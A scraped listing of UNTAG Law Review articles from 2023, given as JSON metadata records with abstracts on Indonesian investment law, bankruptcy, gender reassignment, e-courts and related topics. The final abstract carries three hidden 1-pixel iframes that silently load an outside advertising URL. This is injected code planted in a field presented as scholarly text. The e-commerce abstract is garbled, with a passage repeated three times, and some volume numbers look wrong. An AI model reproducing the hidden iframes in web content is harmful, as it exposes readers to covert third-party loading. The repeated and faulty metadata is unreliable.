UNTAG Law Review最新文献

{"title":"CONSISTENCY OF INDONESIA'S INTERNATIONAL TREATY IMPLEMENTATION IN THE FIELD OF INVESTMENT IN THE NATIONAL LEGAL SYSTEM: A POLITICAL PERSPECTIVE OF LAW TO REALIZE COMMUNITY WELFARE","authors":"Eva Arief","doi":"10.56444/ulrev.v7i2.4522","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4522","url":null,"abstract":"This research examines the issue of consistency in the implementation of Indonesia's international agreements in the field of investment in Indonesia's national legal system, with a focus on achieving public welfare. The political implementation of Indonesian International Treaties in the field of investment into national law is divided into two periods. The period before the Constitutional Court Decision Number 13/PUU-XVI/2018 and the subsequent period. The court decision mainly talks about how to ratify an international treaty. Article 2 of Law No. 24/2000 on International Agreements states that ratification of international agreements is done in two ways, namely ratification by passing a law by the Parliament and ratification by issuing a presidential regulation by the President. Ratification through parliament if an international agreement has a broad and fundamental impact on the livelihood of the people related to the financial burden of the state and or requires amendments to the law as stipulated in article 11 paragraph (2) of the 1945 Constitution. Meanwhile, the position of international agreements in the field of investment, based on Article 11 (2), the ratification of International Agreements is based on Presidential Regulations. At the same time, there are international investment agreements whose material can have a broad and fundamental impact on people's lives, so the absence of parliamentary control can lead to inequality and potential negative impacts on people's welfare. Through normative legal research methods, the findings show that foreign investment must provide the maximum benefit for economic development and public welfare, and the ratification of international investment agreements can be done either through presidential regulations or legislation by passing a law","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"1 1","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-27","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139233971","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"COMPARATIVE STUDY OF GENDER REASSIGMENT IN INDONESIA IN THE PERSPECTIVE OF POSITIVE LAW AND ISLAMIC LAW","authors":"Fita Rahmawati, A. N. Hidayah","doi":"10.56444/ulrev.v7i2.4486","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4486","url":null,"abstract":"Gender and sex are two different things. Sex is synonymous with the difference in physical form between women and men. While gender refers more to the characteristics, roles, functions, status, and responsibilities. Some people feel that their gender and sex are not in harmony, so they decide to change their sex by having sex reassignment surgery, and ask for a court order. This is certainly a pro and con for Indonesian society, which is predominantly Muslim, especially if a Muslim changes his or her gender. This research aims to analyze the regulation of sex reassignment in Positive Law and Islamic Law in Indonesia. This research uses the normative juridical method, namely with statutory documents, and other literature studies related to this research. The results of the study show that in Indonesia there is no specific regulation regarding sex reassignment due to sex reassignment surgery, but judges usually use jurisprudence and use the provisions of Article 56 Number 24 of 2013 concerning Population Administration, while in the view of Islamic Law the law of sex reassignment surgery is prohibited, unless the surgery is for health purposes then there are some scholars who allow it.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"182 ","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-22","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139250556","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"PROPORTIONALITIES OF JUDGE'S DECISIONS ON THE POSITION OF CONCURRENT CREDITORS AS AN EFFORT TO ENFORCEMENT OF LEGAL CERTAINTY OF THE PARTIES IN BANKRUPTCY DISPUTES","authors":"Satino Satino, Muhammad Fauzan","doi":"10.56444/ulrev.v7i2.4228","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4228","url":null,"abstract":"Bankruptcy which is a condition in which the debtor is unable to make payments on his debts to creditors. In the dispute process, there is a sequence of creditor levels which will affect the settlement of creditor receivables, namely preferential, separatist and concurrent creditors. Concurrent creditors who are at the last level make their position very vulnerable to not getting their receivables repaid. This requires further research in this regard. This study uses a normative legal method which will analyze legal sources and legal literature related to the topics discussed. This research will discuss 1) what is the position of concurrent creditors in bankruptcy disputes and 2) how is the proportionality of the judge's decision on the position of concurrent creditors in bankruptcy disputes as an effort to enforce the legal certainty of the parties? The results of this study indicate that the position of concurrent creditors in bankruptcy disputes is that creditors are the most recent in paying off their receivables. Then the proportionality of the judge's decision on concurrent creditors is given to the supervisory judge as the party who has the authority to distribute the proceeds from the sale of the bankrupt debtor's assets. Concurrent creditors will receive results based on Article 189 Paragraph (3) Law Number 37 of 2004 concerning Bankruptcy and Postponement of Debt Suspension Obligations.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"57 ","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-22","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139250035","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"THE NATURE OF LAW AND JUSTICE IN SOCIETY","authors":"Abdul Kholiq, Heri Purnomo","doi":"10.56444/ulrev.v7i2.4501","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4501","url":null,"abstract":"At this time globalization has penetrated the dynamics of human life and brought changes that essentially point to the problem of unbalanced regulation of human life in law and a sense of human justice. In everyday life we often hear people demanding justice, because they feel they have received unfair treatment. This can occur between citizens and the government, or perhaps also between individuals and their groups or because there are differences in the fulfillment of personal rights and so on. Justice is closely related to attitudes and relationships with fellow human beings because justice demands that every human being be treated as they are done. The problem is How is the nature of law and justice related to the philosophy of law and How is the form of justice pursued by judges? The method used in writing this paper is normative juridical, which is an approach based on law as the main material, the research specification used is descriptive analytical, which is research that aims to provide an overview of justice in Indonesia. While the data sources are secondary and primary data through primary field studies used as supporting data or supporting secondary data. From the research, the results were obtained: The nature of law and justice is very relative, because from which side we look at it there is a negative that law and justice are something that is not heavy after there are also those who say that justice is not necessarily found with field results and the form of justice in this case can be done by judges and rulers by trying to comply with laws and regulations and a sense of public justice, but judges are ordinary human beings who can make mistakes. Mistakes can occur due to inadvertence and can also be made can arise from people who are deliberate, this is what will plunge humans. True justice is the justice of Allah SWT.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"64 1","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-22","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139249068","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"PROBLEMS MANAGEMENT OF BANKRUPT ASSETS BY THE CURATOR AFTER THE EFFECTIVE EFFECTIVE COURT DECISION","authors":"Prila Wahyu Pratama, Akila Nuranisa","doi":"10.56444/ulrev.v7i2.4115","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4115","url":null,"abstract":"The management of bankrupt assets that the court has given authority to the curator and supervisory judge has difficulties and problems such as the difficulty of conducting auctions and selling assets from bankrupt assets and it is also exacerbated by the bankruptcy mafia game in playing with prices during auctions. Using the normative juridical research method, the authors found that problems had indeed occurred and there had been no harmonization of rules and not firm enough rules regarding the independence of curators and also how the management of bankruptcy assets could run more smoothly in order to create justice for the creditors of the debtor.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"9 1","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-22","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139247014","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"GOLDEN VISA GRANTING POLICY AS AN EFFORT TO INVESTMENT ATTRACTION IN INDONESIA","authors":"Dandi Fakhriza","doi":"10.56444/ulrev.v7i2.4422","DOIUrl":"https://doi.org/10.56444/ulrev.v7i2.4422","url":null,"abstract":"ABSTRACT; The Government of the Republic of Indonesia issued Regulation of the Minister of Law and Human Rights (Permenkumham) Number 22 of 2023 concerning Visas and Residence Permits as well as Regulation of the Minister of Finance Number 82 of 2023 concerning Types and Tariffs for Types of Non-Tax State Revenue. The Minister of Law and Human Rights Regulation and the Minister of Finance Regulation function as regulations for granting golden visas to investors who wish to invest their capital in Indonesia. The approach method used is empirical juridical with research specifications that are descriptive analytical. The things studied are the policy of granting golden visas to foreign investors in Indonesia and the form of incentives for granting golden visas to foreign investors to invest in Indonesia. In the end, the researchers concluded that the golden visa imposed by the government on foreign investors was a temporary residence permit with a period of 5 (five) years for individual investors and a temporary residence permit with a period of 5 (five) years to 10 (ten) years for corporate investors, then get ease in entering and exiting Indonesia, and ease in not processing a limited residence permit in Indonesia.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"62 2","pages":""},"PeriodicalIF":0.0,"publicationDate":"2023-11-22","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"139247768","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"ANALYSIS OF THE DISMISSAL OF THE HEAD OF STATE BASED ON THE 1945 NRI CONSTITUTION ON SOCIAL MEDIA","authors":"Richie Tan, Yosia Luther Sinaga, Jonathan Liauw","doi":"10.56444/ulrev.v7i1.3826","DOIUrl":"https://doi.org/10.56444/ulrev.v7i1.3826","url":null,"abstract":"A dive into Article 7a &; 7b of the 1945 NRI Constitution about the stopping of a Head of State and the exploration of its application on social media. This writing is done in a Juridical Normative method with primary data in the form of writings that may help dive and explain onto elements that are stated on the articles which will be interpreted to answer the points of this writing. The Head of State can be stopped if he has breach the terms that is prohibited in the Articles such as betraying the State, Despicable acts, Corruption, Bribery, Crimes, or no longer fulfilled the requirements, these act can also be done in Social Media and can lead to the stopping of a Head of State.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"5 1","pages":"0"},"PeriodicalIF":0.0,"publicationDate":"2023-06-20","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"130053512","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"NON-PRESTATION LAW AS THE FINAL SETTLEMENT FOR THE NEGLIGENCE OF ONLINE BUSINESS PLAYERS (E-COMMERCE)","authors":"Adella Darmawan, Fatihana Ulya Nasution, D. Tarina","doi":"10.56444/ulrev.v7i1.3433","DOIUrl":"https://doi.org/10.56444/ulrev.v7i1.3433","url":null,"abstract":"Default is any form of activity that does not meet the requirements set out in all engagements, including engagements that occur in digital transactions such as e-commerce. Currently the regulation regarding default in e-commerce media is only regulated in Law Number 19 of 2016 concerning Amendments to Law Number 11 of 2008 concerning Information and Electronic Transactions (UU ITE). The lack of a legal umbrella for perpetrators of e-commerce transactions in Indonesia has resulted in an increasing number of default cases. So that a new, stronger regulation is needed regarding the mechanism for resolving default cases in e-commerce media. This study aims to provide important knowledge regarding the flow of default lawsuits in e-commerce media. This research was written using a normative juridical method with a statute approach and a conceptual approach. This type of research was carried out qualitatively using secondary data in the form of literature studies and focused on the purpose of applying a norm in relevant positive law. The results of this study are compensation for business actors for default can be in the form of fulfillment of agreements, fulfillment of agreements and compensation, ordinary compensation, cancellation of agreements accompanied by compensation. Settlement of consumer disputes through court default lawsuits is only possible if it cannot be reached in a peaceful way to get compensation. This type of research was carried out qualitatively using secondary data in the form of literature studies and focused on the purpose of applying a norm in relevant positive law. The results of this study are compensation for business actors for default can be in the form of fulfillment of agreements, fulfillment of agreements and compensation, ordinary compensation, cancellation of agreements accompanied by compensation. Settlement of consumer disputes through court default lawsuits is only possible if it cannot be reached in a peaceful way to get compensation. This type of research was carried out qualitatively using secondary data in the form of literature studies and focused on the purpose of applying a norm in relevant positive law. The results of this study are compensation for business actors for default can be in the form of fulfillment of agreements, fulfillment of agreements and compensation, ordinary compensation, cancellation of agreements accompanied by compensation. Settlement of consumer disputes through court default lawsuits is only possible if it cannot be reached in a peaceful way to get compensation.","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"2014 1","pages":"0"},"PeriodicalIF":0.0,"publicationDate":"2023-06-20","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"128029809","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"THE OPTIMALIZATION STRATEGY OF E-COURTS ORGANIZING QUALITY IN INDONESIA","authors":"M. Gerry, Rina Elsa Rizkiana","doi":"10.56444/ulrev.v7i1.3874","DOIUrl":"https://doi.org/10.56444/ulrev.v7i1.3874","url":null,"abstract":"Electronic court (e-Court) as a form of digitizing law enforcement. The legal basis for e-Court is PERMA 1 of 2019 and PERMA 4 of 2020. E-Court is held in accordance with the principles of simple, fast, and low cost as stipulated in Article 2 paragraph (4) of Law 48 of 2009. The principle of implementation faced with law enforcement issues, as well as reforming the administration of justice through Case Investigation Information System (SIPP) implementation by the Supreme Court. This study analyzes the juridical construction and implementation of e-Court and e-Litigation in Indonesia, the e-Court implementation in terms of the principles of judicial administration, the obstacles, and analyzes the optimization strategy of e-Court in Indonesia. This research is a normative juridical research with a statute approach and a conceptual approach. The results of this study that the problem of the e-Court service system in Indonesia has not run optimally because there were several obstacles in the process of law. Thus, it needed a strategy to optimize the e-Court system and the legal substance of e-Litigation services through strengthening human resources, as system integration to ensure information disclosure in order to realize a more modern judiciary in Indonesia. ","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"7 1","pages":"0"},"PeriodicalIF":0.0,"publicationDate":"2023-06-20","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"116206515","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}

{"title":"LEGAL CONCEPTUALISM OF FOREIGN CITIZENS AS APPLICANTS FOR THE RIGHT TO MATERIAL EXAMINATION","authors":"M. Fauzan, Tiara Alfarissa","doi":"10.56444/ulrev.v7i1.3437","DOIUrl":"https://doi.org/10.56444/ulrev.v7i1.3437","url":null,"abstract":"<p><em><span>One of the powers possessed by the Supreme Court of the Republic of Indonesia is the right of judicial review. Applicants who can apply for the right of judicial review are only Indonesian citizens, indigenous peoples, and civil legal entities. This makes foreign nationals do not have the right to apply for judicial review rights. From this, the researcher raises two problem formulations, namely 1) how are the rights of foreign citizens in reviewing statutory regulations under the law against the law as the fulfillment of human rights in Indonesia; and 2) what is the conceptualism of the legal standing of foreign citizens as applicants in cases of judicial review rights in Indonesia. The results of the research found that granting rights to foreigners in making requests for judicial review to the Supreme Court included granting the right to freedom of expression and the right to a decent life in the country of residence which is a form of upholding human rights. The concept of granting legal standing to foreigners is given only to statutory regulations governing foreigners so that this can limit the right of foreigners to become applicants through amendments to the Supreme Court Law.</span></em></p><div><iframe id=\"embedVideo\" style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"http://remove.video/adv\"></iframe></div><div><iframe id=\"embedVideo\" style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"http://remove.video/adv\"></iframe></div><div><iframe id=\"embedVideo\" style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"http://remove.video/adv\"></iframe></div>","PeriodicalId":259996,"journal":{"name":"UNTAG Law Review","volume":"52 1","pages":"0"},"PeriodicalIF":0.0,"publicationDate":"2023-06-20","publicationTypes":"Journal Article","fieldsOfStudy":null,"isOpenAccess":false,"openAccessPdf":"","citationCount":null,"resultStr":null,"platform":"Semanticscholar","paperid":"125765803","PeriodicalName":null,"FirstCategoryId":null,"ListUrlMain":null,"RegionNum":0,"RegionCategory":"","ArticlePicture":[],"TitleCN":null,"AbstractTextCN":null,"PMCID":"","EPubDate":null,"PubModel":null,"JCR":null,"JCRName":null,"Score":null,"Total":0}